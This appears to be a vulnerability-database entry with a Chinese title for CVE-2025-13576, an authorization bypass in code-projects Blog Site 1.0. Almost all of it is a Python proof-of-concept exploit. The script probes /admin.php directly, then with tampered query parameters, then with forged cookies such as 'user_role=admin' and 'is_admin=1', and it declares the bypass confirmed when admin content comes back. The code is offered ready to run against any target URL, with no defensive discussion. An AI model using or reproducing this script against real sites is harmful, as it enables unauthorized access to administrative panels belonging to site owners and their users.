CVE-2025-13576 code-projects Blog Site 1.0 授权绕过漏洞

import requests import sys # CVE-2025-13576 PoC - Authorization Bypass in code-projects Blog Site 1.0 # Target: /admin.php def exploit_admin_bypass(target_url): """ Exploit for CVE-2025-13576 Authorization bypass vulnerability in /admin.php """ # Target endpoints admin_url = f"{target_url}/admin.php" # Step 1: Try to access admin panel without proper authentication print(f"[*] Target: {target_url}") print(f"[*] Attempting to access admin panel...") # Create session session = requests.Session() # Method 1: Direct access attempt try: response = session.get(admin_url, timeout=10) if response.status_code == 200: print(f"[!] Admin panel accessible (Status: {response.status_code})") # Check for common admin parameters params = { 'page': 'dashboard', 'action': 'view_users', 'id': '1' } # Method 2: Parameter manipulation print("[*] Attempting parameter manipulation...") response = session.get(admin_url, params=params, timeout=10) if 'admin' in response.text.lower() or 'dashboard' in response.text.lower(): print("[!] Possible authorization bypass detected!") print(f"[*] Response contains admin-related content") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") # Method 3: Cookie manipulation test print("[*] Testing with manipulated cookies...") cookies = { 'user_id': '1', 'user_role': 'admin', 'is_admin': '1', 'logged_in': 'true' } try: response = session.get(admin_url, cookies=cookies, timeout=10) if response.status_code == 200 and 'admin' in response.text.lower(): print("[!] Cookie manipulation successful - Authorization bypass confirmed!") return True except requests.exceptions.RequestException as e: print(f"[-] Cookie test failed: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://target.com/blog") sys.exit(1) target = sys.argv[1].rstrip('/') exploit_admin_bypass(target)